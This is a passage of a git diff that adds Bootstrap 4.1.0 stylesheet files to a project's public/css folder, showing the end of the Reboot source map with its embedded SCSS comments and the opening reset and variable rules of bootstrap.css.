+{"version":3,"sources":["../../scss/bootstrap-reboot.scss","../../scss/_reboot.scss","dist/css/bootstrap-reboot.css","bootstrap-reboot.css","../../scss/mixins/_hover.scss"],"names":[],"mappings":"AAAA;;;;;;ACoBA,ECXA,QADA,SDeE,WAAA,WAGF,KACE,YAAA,WACA,YAAA,KACA,yBAAA,KACA,qBAAA,KACA,mBAAA,UACA,4BAAA,YAKA,cACE,MAAA,aAMJ,QAAA,MAAA,OAAA,WAAA,OAAA,OAAA,OAAA,OAAA,KAAA,IAAA,QACE,QAAA,MAWF,KACE,OAAA,EACA,YAAA,aAAA,CAAA,kBAAA,CAAA,UAAA,CAAA,MAAA,CAAA,gBAAA,CAAA,KAAA,CAAA,UAAA,CAAA,mBAAA,CAAA,gBAAA,CAAA,kBACA,UAAA,KACA,YAAA,IACA,YAAA,IACA,MAAA,QACA,WAAA,KACA,iBAAA,KEvBF,sBFgCE,QAAA,YASF,GACE,WAAA,YACA,OAAA,EACA,SAAA,QAaF,GAAA,GAAA,GAAA,GAAA,GAAA,GACE,WAAA,EACA,cAAA,MAQF,EACE,WAAA,EACA,cAAA,KChDF,0BD0DA,YAEE,gBAAA,UACA,wBAAA,UAAA,OAAA,gBAAA,UAAA,OACA,OAAA,KACA,cAAA,EAGF,QACE,cAAA,KACA,WAAA,OACA,YAAA,QCrDF,GDwDA,GCzDA,GD4DE,WAAA,EACA,cAAA,KAGF,MCxDA,MACA,MAFA,MD6DE,cAAA,EAGF,GACE,YAAA,IAGF,GACE,cAAA,MACA,YAAA,EAGF,WACE,OAAA,EAAA,EAAA,KAGF,IACE,WAAA,OAIF,EC1DA,OD4DE,YAAA,OAIF,MACE,UAAA,IAQF,IChEA,IDkEE,SAAA,SACA,UAAA,IACA,YAAA,EACA,eAAA,SAGF,IAAM,OAAA,OACN,IAAM,IAAA,MAON,EACE,MAAA,QACA,gBAAA,KACA,iBAAA,YACA,6BAAA,QG7LA,QHgME,MAAA,QACA,gBAAA,UAUJ,8BACE,MAAA,QACA,gBAAA,KGzMA,oCAAA,oCH4ME,MAAA,QACA,gBAAA,KANJ,oCAUI,QAAA,EClEJ,KACA,ID2EA,IC1EA,KD8EE,YAAA,SAAA,CAAA,UACA,UAAA,IAIF,IAEE,WAAA,EAEA,cAAA,KAEA,SAAA,KAGA,mBAAA,UAQF,OAEE,OAAA,EAAA,EAAA,KAQF,IACE,eAAA,OACA,aAAA,KAGF,eACE,SAAA,OAQF,MACE,gBAAA,SAGF,QACE,YAAA,OACA,eAAA,OACA,MAAA,QACA,WAAA,KACA,aAAA,OAGF,GAGE,WAAA,QAQF,MAEE,QAAA,aACA,cAAA,MAMF,OACE,cAAA,EAOF,aACE,QAAA,IAAA,OACA,QAAA,IAAA,KAAA,yBC9GF,ODiHA,MC/GA,SADA,OAEA,SDmHE,OAAA,EACA,YAAA,QACA,UAAA,QACA,YAAA,QAGF,OCjHA,MDmHE,SAAA,QAGF,OCjHA,ODmHE,eAAA,KC7GF,aACA,cDkHA,OCpHA,mBDwHE,mBAAA,OCjHF,gCACA,+BACA,gCDmHA,yBAIE,QAAA,EACA,aAAA,KClHF,qBDqHA,kBAEE,WAAA,WACA,QAAA,EAIF,iBCrHA,2BACA,kBAFA,iBD+HE,mBAAA,QAGF,SACE,SAAA,KAEA,OAAA,SAGF,SAME,UAAA,EAEA,QAAA,EACA,OAAA,EACA,OAAA,EAKF,OACE,QAAA,MACA,MAAA,KACA,UAAA,KACA,QAAA,EACA,cAAA,MACA,UAAA,OACA,YAAA,QACA,MAAA,QACA,YAAA,OAGF,SACE,eAAA,SEnIF,yCDEA,yCDuIE,OAAA,KEpIF,cF4IE,eAAA,KACA,mBAAA,KExIF,4CDEA,yCD+IE,mBAAA,KAQF,6BACE,KAAA,QACA,mBAAA,OAOF,OACE,QAAA,aAGF,QACE,QAAA,UACA,OAAA,QAGF,SACE,QAAA,KErJF,SF2JE,QAAA","sourcesContent":["/*!\n * Bootstrap Reboot v4.1.0 (https://getbootstrap.com/)\n * Copyright 2011-2018 The Bootstrap Authors\n * Copyright 2011-2018 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md)\n */\n\n@import \"functions\";\n@import \"variables\";\n@import \"mixins\";\n@import \"reboot\";\n","// stylelint-disable at-rule-no-vendor-prefix, declaration-no-important, selector-no-qualifying-type, property-no-vendor-prefix\n\n// Reboot\n//\n// Normalization of HTML elements, manually forked from Normalize.css to remove\n// styles targeting irrelevant browsers while applying new styles.\n//\n// Normalize is licensed MIT. https://github.com/necolas/normalize.css\n\n\n// Document\n//\n// 1. Change from `box-sizing: content-box` so that `width` is not affected by `padding` or `border`.\n// 2. Change the default font family in all browsers.\n// 3. Correct the line height in all browsers.\n// 4. Prevent adjustments of font size after orientation changes in IE on Windows Phone and in iOS.\n// 5. Setting @viewport causes scrollbars to overlap content in IE11 and Edge, so\n// we force a non-overlapping, non-auto-hiding scrollbar to counteract.\n// 6. Change the default tap highlight to be completely transparent in iOS.\n\n*,\n*::before,\n*::after {\n box-sizing: border-box; // 1\n}\n\nhtml {\n font-family: sans-serif; // 2\n line-height: 1.15; // 3\n -webkit-text-size-adjust: 100%; // 4\n -ms-text-size-adjust: 100%; // 4\n -ms-overflow-style: scrollbar; // 5\n -webkit-tap-highlight-color: rgba($black, 0); // 6\n}\n\n// IE10+ doesn't honor `<meta name=\"viewport\">` in some cases.\n@at-root {\n @-ms-viewport {\n width: device-width;\n }\n}\n\n// stylelint-disable selector-list-comma-newline-after\n// Shim for \"new\" HTML5 structural elements to display correctly (IE10, older browsers)\narticle, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {\n display: block;\n}\n// stylelint-enable selector-list-comma-newline-after\n\n// Body\n//\n// 1. Remove the margin in all browsers.\n// 2. As a best practice, apply a default `background-color`.\n// 3. Set an explicit initial text-align value so that we can later use the\n// the `inherit` value on things like `<th>` elements.\n\nbody {\n margin: 0; // 1\n font-family: $font-family-base;\n font-size: $font-size-base;\n font-weight: $font-weight-base;\n line-height: $line-height-base;\n color: $body-color;\n text-align: left; // 3\n background-color: $body-bg; // 2\n}\n\n// Suppress the focus outline on elements that cannot be accessed via keyboard.\n// This prevents an unwanted focus outline from appearing around elements that\n// might still respond to pointer events.\n//\n// Credit: https://github.com/suitcss/base\n[tabindex=\"-1\"]:focus {\n outline: 0 !important;\n}\n\n\n// Content grouping\n//\n// 1. Add the correct box sizing in Firefox.\n// 2. Show the overflow in Edge and IE.\n\nhr {\n box-sizing: content-box; // 1\n height: 0; // 1\n overflow: visible; // 2\n}\n\n\n//\n// Typography\n//\n\n// Remove top margins from headings\n//\n// By default, `<h1>`-`<h6>` all receive top and bottom margins. We nuke the top\n// margin for easier control within type scales as it avoids margin collapsing.\n// stylelint-disable selector-list-comma-newline-after\nh1, h2, h3, h4, h5, h6 {\n margin-top: 0;\n margin-bottom: $headings-margin-bottom;\n}\n// stylelint-enable selector-list-comma-newline-after\n\n// Reset margins on paragraphs\n//\n// Similarly, the top margin on `<p>`s get reset. However, we also reset the\n// bottom margin to use `rem` units instead of `em`.\np {\n margin-top: 0;\n margin-bottom: $paragraph-margin-bottom;\n}\n\n// Abbreviations\n//\n// 1. Remove the bottom border in Firefox 39-.\n// 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.\n// 3. Add explicit cursor to indicate changed behavior.\n// 4. Duplicate behavior to the data-* attribute for our tooltip plugin\n\nabbr[title],\nabbr[data-original-title] { // 4\n text-decoration: underline; // 2\n text-decoration: underline dotted; // 2\n cursor: help; // 3\n border-bottom: 0; // 1\n}\n\naddress {\n margin-bottom: 1rem;\n font-style: normal;\n line-height: inherit;\n}\n\nol,\nul,\ndl {\n margin-top: 0;\n margin-bottom: 1rem;\n}\n\nol ol,\nul ul,\nol ul,\nul ol {\n margin-bottom: 0;\n}\n\ndt {\n font-weight: $dt-font-weight;\n}\n\ndd {\n margin-bottom: .5rem;\n margin-left: 0; // Undo browser default\n}\n\nblockquote {\n margin: 0 0 1rem;\n}\n\ndfn {\n font-style: italic; // Add the correct font style in Android 4.3-\n}\n\n// stylelint-disable font-weight-notation\nb,\nstrong {\n font-weight: bolder; // Add the correct font weight in Chrome, Edge, and Safari\n}\n// stylelint-enable font-weight-notation\n\nsmall {\n font-size: 80%; // Add the correct font size in all browsers\n}\n\n//\n// Prevent `sub` and `sup` elements from affecting the line height in\n// all browsers.\n//\n\nsub,\nsup {\n position: relative;\n font-size: 75%;\n line-height: 0;\n vertical-align: baseline;\n}\n\nsub { bottom: -.25em; }\nsup { top: -.5em; }\n\n\n//\n// Links\n//\n\na {\n color: $link-color;\n text-decoration: $link-decoration;\n background-color: transparent; // Remove the gray background on active links in IE 10.\n -webkit-text-decoration-skip: objects; // Remove gaps in links underline in iOS 8+ and Safari 8+.\n\n @include hover {\n color: $link-hover-color;\n text-decoration: $link-hover-decoration;\n }\n}\n\n// And undo these styles for placeholder links/named anchors (without href)\n// which have not been made explicitly keyboard-focusable (without tabindex).\n// It would be more straightforward to just use a[href] in previous block, but that\n// causes specificity issues in many other styles that are too complex to fix.\n// See https://github.com/twbs/bootstrap/issues/19402\n\na:not([href]):not([tabindex]) {\n color: inherit;\n text-decoration: none;\n\n @include hover-focus {\n color: inherit;\n text-decoration: none;\n }\n\n &:focus {\n outline: 0;\n }\n}\n\n\n//\n// Code\n//\n\n// stylelint-disable font-family-no-duplicate-names\npre,\ncode,\nkbd,\nsamp {\n font-family: monospace, monospace; // Correct the inheritance and scaling of font size in all browsers.\n font-size: 1em; // Correct the odd `em` font sizing in all browsers.\n}\n// stylelint-enable font-family-no-duplicate-names\n\npre {\n // Remove browser default top margin\n margin-top: 0;\n // Reset browser default of `1em` to use `rem`s\n margin-bottom: 1rem;\n // Don't allow content to break outside\n overflow: auto;\n // We have @viewport set which causes scrollbars to overlap content in IE11 and Edge, so\n // we force a non-overlapping, non-auto-hiding scrollbar to counteract.\n -ms-overflow-style: scrollbar;\n}\n\n\n//\n// Figures\n//\n\nfigure {\n // Apply a consistent margin strategy (matches our type styles).\n margin: 0 0 1rem;\n}\n\n\n//\n// Images and content\n//\n\nimg {\n vertical-align: middle;\n border-style: none; // Remove the border on images inside links in IE 10-.\n}\n\nsvg:not(:root) {\n overflow: hidden; // Hide the overflow in IE\n}\n\n\n//\n// Tables\n//\n\ntable {\n border-collapse: collapse; // Prevent double borders\n}\n\ncaption {\n padding-top: $table-cell-padding;\n padding-bottom: $table-cell-padding;\n color: $table-caption-color;\n text-align: left;\n caption-side: bottom;\n}\n\nth {\n // Matches default `<td>` alignment by inheriting from the `<body>`, or the\n // closest parent with a set `text-align`.\n text-align: inherit;\n}\n\n\n//\n// Forms\n//\n\nlabel {\n // Allow labels to use `margin` for spacing.\n display: inline-block;\n margin-bottom: $label-margin-bottom;\n}\n\n// Remove the default `border-radius` that macOS Chrome adds.\n//\n// Details at https://github.com/twbs/bootstrap/issues/24093\nbutton {\n border-radius: 0;\n}\n\n// Work around a Firefox/IE bug where the transparent `button` background\n// results in a loss of the default `button` focus styles.\n//\n// Credit: https://github.com/suitcss/base/\nbutton:focus {\n outline: 1px dotted;\n outline: 5px auto -webkit-focus-ring-color;\n}\n\ninput,\nbutton,\nselect,\noptgroup,\ntextarea {\n margin: 0; // Remove the margin in Firefox and Safari\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\n\nbutton,\ninput {\n overflow: visible; // Show the overflow in Edge\n}\n\nbutton,\nselect {\n text-transform: none; // Remove the inheritance of text transform in Firefox\n}\n\n// 1. Prevent a WebKit bug where (2) destroys native `audio` and `video`\n// controls in Android 4.\n// 2. Correct the inability to style clickable types in iOS and Safari.\nbutton,\nhtml [type=\"button\"], // 1\n[type=\"reset\"],\n[type=\"submit\"] {\n -webkit-appearance: button; // 2\n}\n\n// Remove inner border and padding from Firefox, but don't restore the outline like Normalize.\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n padding: 0;\n border-style: none;\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n box-sizing: border-box; // 1. Add the correct box sizing in IE 10-\n padding: 0; // 2. Remove the padding in IE 10-\n}\n\n\ninput[type=\"date\"],\ninput[type=\"time\"],\ninput[type=\"datetime-local\"],\ninput[type=\"month\"] {\n // Remove the default appearance of temporal inputs to avoid a Mobile Safari\n // bug where setting a custom line-height prevents text from being vertically\n // centered within the input.\n // See https://bugs.webkit.org/show_bug.cgi?id=139848\n // and https://github.com/twbs/bootstrap/issues/11266\n -webkit-appearance: listbox;\n}\n\ntextarea {\n overflow: auto; // Remove the default vertical scrollbar in IE.\n // Textareas should really only resize vertically so they don't break their (horizontal) containers.\n resize: vertical;\n}\n\nfieldset {\n // Browsers set a default `min-width: min-content;` on fieldsets,\n // unlike e.g. `<div>`s, which have `min-width: 0;` by default.\n // So we reset that to ensure fieldsets behave more like a standard block element.\n // See https://github.com/twbs/bootstrap/issues/12359\n // and https://html.spec.whatwg.org/multipage/#the-fieldset-and-legend-elements\n min-width: 0;\n // Reset the default outline behavior of fieldsets so they don't affect page layout.\n padding: 0;\n margin: 0;\n border: 0;\n}\n\n// 1. Correct the text wrapping in Edge and IE.\n// 2. Correct the color inheritance from `fieldset` elements in IE.\nlegend {\n display: block;\n width: 100%;\n max-width: 100%; // 1\n padding: 0;\n margin-bottom: .5rem;\n font-size: 1.5rem;\n line-height: inherit;\n color: inherit; // 2\n white-space: normal; // 1\n}\n\nprogress {\n vertical-align: baseline; // Add the correct vertical alignment in Chrome, Firefox, and Opera.\n}\n\n// Correct the cursor style of increment and decrement buttons in Chrome.\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n height: auto;\n}\n\n[type=\"search\"] {\n // This overrides the extra rounded corners on search inputs in iOS so that our\n // `.form-control` class can properly style them. Note that this cannot simply\n // be added to `.form-control` as it's not specific enough. For details, see\n // https://github.com/twbs/bootstrap/issues/11586.\n outline-offset: -2px; // 2. Correct the outline style in Safari.\n -webkit-appearance: none;\n}\n\n//\n// Remove the inner padding and cancel buttons in Chrome and Safari on macOS.\n//\n\n[type=\"search\"]::-webkit-search-cancel-button,\n[type=\"search\"]::-webkit-search-decoration {\n -webkit-appearance: none;\n}\n\n//\n// 1. Correct the inability to style clickable types in iOS and Safari.\n// 2. Change font properties to `inherit` in Safari.\n//\n\n::-webkit-file-upload-button {\n font: inherit; // 2\n -webkit-appearance: button; // 1\n}\n\n//\n// Correct element displays\n//\n\noutput {\n display: inline-block;\n}\n\nsummary {\n display: list-item; // Add the correct display in all browsers\n cursor: pointer;\n}\n\ntemplate {\n display: none; // Add the correct display in IE\n}\n\n// Always hide an element with the `hidden` HTML attribute (from PureCSS).\n// Needed for proper display in IE 10-.\n[hidden] {\n display: none !important;\n}\n","/*!\n * Bootstrap Reboot v4.1.0 (https://getbootstrap.com/)\n * Copyright 2011-2018 The Bootstrap Authors\n * Copyright 2011-2018 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md)\n */\n*,\n*::before,\n*::after {\n box-sizing: border-box;\n}\n\nhtml {\n font-family: sans-serif;\n line-height: 1.15;\n -webkit-text-size-adjust: 100%;\n -ms-text-size-adjust: 100%;\n -ms-overflow-style: scrollbar;\n -webkit-tap-highlight-color: transparent;\n}\n\n@-ms-viewport {\n width: device-width;\n}\n\narticle, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {\n display: block;\n}\n\nbody {\n margin: 0;\n font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n font-size: 1rem;\n font-weight: 400;\n line-height: 1.5;\n color: #212529;\n text-align: left;\n background-color: #fff;\n}\n\n[tabindex=\"-1\"]:focus {\n outline: 0 !important;\n}\n\nhr {\n box-sizing: content-box;\n height: 0;\n overflow: visible;\n}\n\nh1, h2, h3, h4, h5, h6 {\n margin-top: 0;\n margin-bottom: 0.5rem;\n}\n\np {\n margin-top: 0;\n margin-bottom: 1rem;\n}\n\nabbr[title],\nabbr[data-original-title] {\n text-decoration: underline;\n -webkit-text-decoration: underline dotted;\n text-decoration: underline dotted;\n cursor: help;\n border-bottom: 0;\n}\n\naddress {\n margin-bottom: 1rem;\n font-style: normal;\n line-height: inherit;\n}\n\nol,\nul,\ndl {\n margin-top: 0;\n margin-bottom: 1rem;\n}\n\nol ol,\nul ul,\nol ul,\nul ol {\n margin-bottom: 0;\n}\n\ndt {\n font-weight: 700;\n}\n\ndd {\n margin-bottom: .5rem;\n margin-left: 0;\n}\n\nblockquote {\n margin: 0 0 1rem;\n}\n\ndfn {\n font-style: italic;\n}\n\nb,\nstrong {\n font-weight: bolder;\n}\n\nsmall {\n font-size: 80%;\n}\n\nsub,\nsup {\n position: relative;\n font-size: 75%;\n line-height: 0;\n vertical-align: baseline;\n}\n\nsub {\n bottom: -.25em;\n}\n\nsup {\n top: -.5em;\n}\n\na {\n color: #007bff;\n text-decoration: none;\n background-color: transparent;\n -webkit-text-decoration-skip: objects;\n}\n\na:hover {\n color: #0056b3;\n text-decoration: underline;\n}\n\na:not([href]):not([tabindex]) {\n color: inherit;\n text-decoration: none;\n}\n\na:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus {\n color: inherit;\n text-decoration: none;\n}\n\na:not([href]):not([tabindex]):focus {\n outline: 0;\n}\n\npre,\ncode,\nkbd,\nsamp {\n font-family: monospace, monospace;\n font-size: 1em;\n}\n\npre {\n margin-top: 0;\n margin-bottom: 1rem;\n overflow: auto;\n -ms-overflow-style: scrollbar;\n}\n\nfigure {\n margin: 0 0 1rem;\n}\n\nimg {\n vertical-align: middle;\n border-style: none;\n}\n\nsvg:not(:root) {\n overflow: hidden;\n}\n\ntable {\n border-collapse: collapse;\n}\n\ncaption {\n padding-top: 0.75rem;\n padding-bottom: 0.75rem;\n color: #6c757d;\n text-align: left;\n caption-side: bottom;\n}\n\nth {\n text-align: inherit;\n}\n\nlabel {\n display: inline-block;\n margin-bottom: 0.5rem;\n}\n\nbutton {\n border-radius: 0;\n}\n\nbutton:focus {\n outline: 1px dotted;\n outline: 5px auto -webkit-focus-ring-color;\n}\n\ninput,\nbutton,\nselect,\noptgroup,\ntextarea {\n margin: 0;\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\n\nbutton,\ninput {\n overflow: visible;\n}\n\nbutton,\nselect {\n text-transform: none;\n}\n\nbutton,\nhtml [type=\"button\"],\n[type=\"reset\"],\n[type=\"submit\"] {\n -webkit-appearance: button;\n}\n\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n padding: 0;\n border-style: none;\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n box-sizing: border-box;\n padding: 0;\n}\n\ninput[type=\"date\"],\ninput[type=\"time\"],\ninput[type=\"datetime-local\"],\ninput[type=\"month\"] {\n -webkit-appearance: listbox;\n}\n\ntextarea {\n overflow: auto;\n resize: vertical;\n}\n\nfieldset {\n min-width: 0;\n padding: 0;\n margin: 0;\n border: 0;\n}\n\nlegend {\n display: block;\n width: 100%;\n max-width: 100%;\n padding: 0;\n margin-bottom: .5rem;\n font-size: 1.5rem;\n line-height: inherit;\n color: inherit;\n white-space: normal;\n}\n\nprogress {\n vertical-align: baseline;\n}\n\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n height: auto;\n}\n\n[type=\"search\"] {\n outline-offset: -2px;\n -webkit-appearance: none;\n}\n\n[type=\"search\"]::-webkit-search-cancel-button,\n[type=\"search\"]::-webkit-search-decoration {\n -webkit-appearance: none;\n}\n\n::-webkit-file-upload-button {\n font: inherit;\n -webkit-appearance: button;\n}\n\noutput {\n display: inline-block;\n}\n\nsummary {\n display: list-item;\n cursor: pointer;\n}\n\ntemplate {\n display: none;\n}\n\n[hidden] {\n display: none !important;\n}\n/*# sourceMappingURL=bootstrap-reboot.css.map */","/*!\n * Bootstrap Reboot v4.1.0 (https://getbootstrap.com/)\n * Copyright 2011-2018 The Bootstrap Authors\n * Copyright 2011-2018 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md)\n */\n*,\n*::before,\n*::after {\n box-sizing: border-box;\n}\n\nhtml {\n font-family: sans-serif;\n line-height: 1.15;\n -webkit-text-size-adjust: 100%;\n -ms-text-size-adjust: 100%;\n -ms-overflow-style: scrollbar;\n -webkit-tap-highlight-color: transparent;\n}\n\n@-ms-viewport {\n width: device-width;\n}\n\narticle, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {\n display: block;\n}\n\nbody {\n margin: 0;\n font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n font-size: 1rem;\n font-weight: 400;\n line-height: 1.5;\n color: #212529;\n text-align: left;\n background-color: #fff;\n}\n\n[tabindex=\"-1\"]:focus {\n outline: 0 !important;\n}\n\nhr {\n box-sizing: content-box;\n height: 0;\n overflow: visible;\n}\n\nh1, h2, h3, h4, h5, h6 {\n margin-top: 0;\n margin-bottom: 0.5rem;\n}\n\np {\n margin-top: 0;\n margin-bottom: 1rem;\n}\n\nabbr[title],\nabbr[data-original-title] {\n text-decoration: underline;\n text-decoration: underline dotted;\n cursor: help;\n border-bottom: 0;\n}\n\naddress {\n margin-bottom: 1rem;\n font-style: normal;\n line-height: inherit;\n}\n\nol,\nul,\ndl {\n margin-top: 0;\n margin-bottom: 1rem;\n}\n\nol ol,\nul ul,\nol ul,\nul ol {\n margin-bottom: 0;\n}\n\ndt {\n font-weight: 700;\n}\n\ndd {\n margin-bottom: .5rem;\n margin-left: 0;\n}\n\nblockquote {\n margin: 0 0 1rem;\n}\n\ndfn {\n font-style: italic;\n}\n\nb,\nstrong {\n font-weight: bolder;\n}\n\nsmall {\n font-size: 80%;\n}\n\nsub,\nsup {\n position: relative;\n font-size: 75%;\n line-height: 0;\n vertical-align: baseline;\n}\n\nsub {\n bottom: -.25em;\n}\n\nsup {\n top: -.5em;\n}\n\na {\n color: #007bff;\n text-decoration: none;\n background-color: transparent;\n -webkit-text-decoration-skip: objects;\n}\n\na:hover {\n color: #0056b3;\n text-decoration: underline;\n}\n\na:not([href]):not([tabindex]) {\n color: inherit;\n text-decoration: none;\n}\n\na:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus {\n color: inherit;\n text-decoration: none;\n}\n\na:not([href]):not([tabindex]):focus {\n outline: 0;\n}\n\npre,\ncode,\nkbd,\nsamp {\n font-family: monospace, monospace;\n font-size: 1em;\n}\n\npre {\n margin-top: 0;\n margin-bottom: 1rem;\n overflow: auto;\n -ms-overflow-style: scrollbar;\n}\n\nfigure {\n margin: 0 0 1rem;\n}\n\nimg {\n vertical-align: middle;\n border-style: none;\n}\n\nsvg:not(:root) {\n overflow: hidden;\n}\n\ntable {\n border-collapse: collapse;\n}\n\ncaption {\n padding-top: 0.75rem;\n padding-bottom: 0.75rem;\n color: #6c757d;\n text-align: left;\n caption-side: bottom;\n}\n\nth {\n text-align: inherit;\n}\n\nlabel {\n display: inline-block;\n margin-bottom: 0.5rem;\n}\n\nbutton {\n border-radius: 0;\n}\n\nbutton:focus {\n outline: 1px dotted;\n outline: 5px auto -webkit-focus-ring-color;\n}\n\ninput,\nbutton,\nselect,\noptgroup,\ntextarea {\n margin: 0;\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\n\nbutton,\ninput {\n overflow: visible;\n}\n\nbutton,\nselect {\n text-transform: none;\n}\n\nbutton,\nhtml [type=\"button\"],\n[type=\"reset\"],\n[type=\"submit\"] {\n -webkit-appearance: button;\n}\n\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n padding: 0;\n border-style: none;\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n box-sizing: border-box;\n padding: 0;\n}\n\ninput[type=\"date\"],\ninput[type=\"time\"],\ninput[type=\"datetime-local\"],\ninput[type=\"month\"] {\n -webkit-appearance: listbox;\n}\n\ntextarea {\n overflow: auto;\n resize: vertical;\n}\n\nfieldset {\n min-width: 0;\n padding: 0;\n margin: 0;\n border: 0;\n}\n\nlegend {\n display: block;\n width: 100%;\n max-width: 100%;\n padding: 0;\n margin-bottom: .5rem;\n font-size: 1.5rem;\n line-height: inherit;\n color: inherit;\n white-space: normal;\n}\n\nprogress {\n vertical-align: baseline;\n}\n\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n height: auto;\n}\n\n[type=\"search\"] {\n outline-offset: -2px;\n -webkit-appearance: none;\n}\n\n[type=\"search\"]::-webkit-search-cancel-button,\n[type=\"search\"]::-webkit-search-decoration {\n -webkit-appearance: none;\n}\n\n::-webkit-file-upload-button {\n font: inherit;\n -webkit-appearance: button;\n}\n\noutput {\n display: inline-block;\n}\n\nsummary {\n display: list-item;\n cursor: pointer;\n}\n\ntemplate {\n display: none;\n}\n\n[hidden] {\n display: none !important;\n}\n\n/*# sourceMappingURL=bootstrap-reboot.css.map */","// Hover mixin and `$enable-hover-media-query` are deprecated.\n//\n// Origally added during our alphas and maintained during betas, this mixin was\n// designed to prevent `:hover` stickiness on iOS-an issue where hover styles\n// would persist after initial touch.\n//\n// For backward compatibility, we've kept these mixins and updated them to\n// always return their regular psuedo-classes instead of a shimmed media query.\n//\n// Issue: https://github.com/twbs/bootstrap/issues/25195\n\n@mixin hover {\n &:hover { @content; }\n}\n\n@mixin hover-focus {\n &:hover,\n &:focus {\n @content;\n }\n}\n\n@mixin plain-hover-focus {\n &,\n &:hover,\n &:focus {\n @content;\n }\n}\n\n@mixin hover-focus-active {\n &:hover,\n &:focus,\n &:active {\n @content;\n }\n}\n"]} \ No newline at end of file diff --git a/public/css/bootstrap.css b/public/css/bootstrap.css new file mode 100644 index 0000000..7220f3c --- /dev/null +++ b/public/css/bootstrap.css @@ -0,0 +1,8950 @@ +/*! + * Bootstrap v4.1.0 (https://getbootstrap.com/) + * Copyright 2011-2018 The Bootstrap Authors + * Copyright 2011-2018 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +:root { + --blue: #007bff; + --indigo: #6610f2; + --purple: #6f42c1; + --pink: #e83e8c; + --red: #dc3545; + --orange: #fd7e14; + --yellow: #ffc107; + --green: #28a745; + --teal: #20c997; + --cyan: #17a2b8; + --white: #fff; + --gray: #6c757d; + --gray-dark: #343a40; + --primary: #007bff; + --secondary: #6c757d; + --success: #28a745; + --info: #17a2b8; + --warning: #ffc107; + --danger: #dc3545; + --light: #f8f9fa; + --dark: #343a40; + --breakpoint-xs: 0; + --breakpoint-sm: 576px; + --breakpoint-md: 768px; + --breakpoint-lg: 992px; + --breakpoint-xl: 1200px; + --font-family-sans-serif: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; + --font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; +} + +*, +*::before, +*::after { + box-sizing: border-box; +} + +html { + font-family: sans-serif; + line-height: 1.15; + -webkit-text-size-adjust: 100%; + -ms-text-size-adjust: 100%; + -ms-overflow-style: scrollbar; + -webkit-tap-highlight-color: transparent; +} + +@-ms-viewport { + width: device-width; +} + +article, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section { + display: block; +} + +body { + margin: 0; + font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"; + font-size: 1rem; + font-weight: 400; + line-height: 1.5; + color: #212529; + text-align: left; + background-color: #fff; +} + +[tabindex="-1"]:focus { + outline: 0 !important; +} + +hr { + box-sizing: content-box; + height: 0; + overflow: visible; +} + +h1, h2, h3, h4, h5, h6 { + margin-top: 0; + margin-bottom: 0.5rem; +} + +p { + margin-top: 0; + margin-bottom: 1rem; +} + +abbr[title], +abbr[data-original-title] { + text-decoration: underline; + -webkit-text-decoration: underline dotted; + text-decoration: underline dotted; + cursor: help; + border-bottom: 0; +} + +address { + margin-bottom: 1rem; + font-style: normal; + line-height: inherit; +} + +ol, +ul, +dl { + margin-top: 0; + margin-bottom: 1rem; +} + +ol ol, +ul ul, +ol ul, +ul ol { + margin-bottom: 0; +} + +dt { + font-weight: 700; +} + +dd { + margin-bottom: .5rem; + margin-left: 0; +} + +blockquote { + margin: 0 0 1rem; +} + +dfn { + font-style: italic; +} + +b, +strong { + font-weight: bolder; +} + +small { + font-size: 80%; +} + +sub, +sup { + position: relative; + font-size: 75%; + line-height: 0; + vertical-align: baseline; +} + +sub { + bottom: -.25em; +} + +sup { + top: -.5em; +} + +a { + color: #007bff; + text-decoration: none; + background-color: transparent; + -webkit-text-decoration-skip: 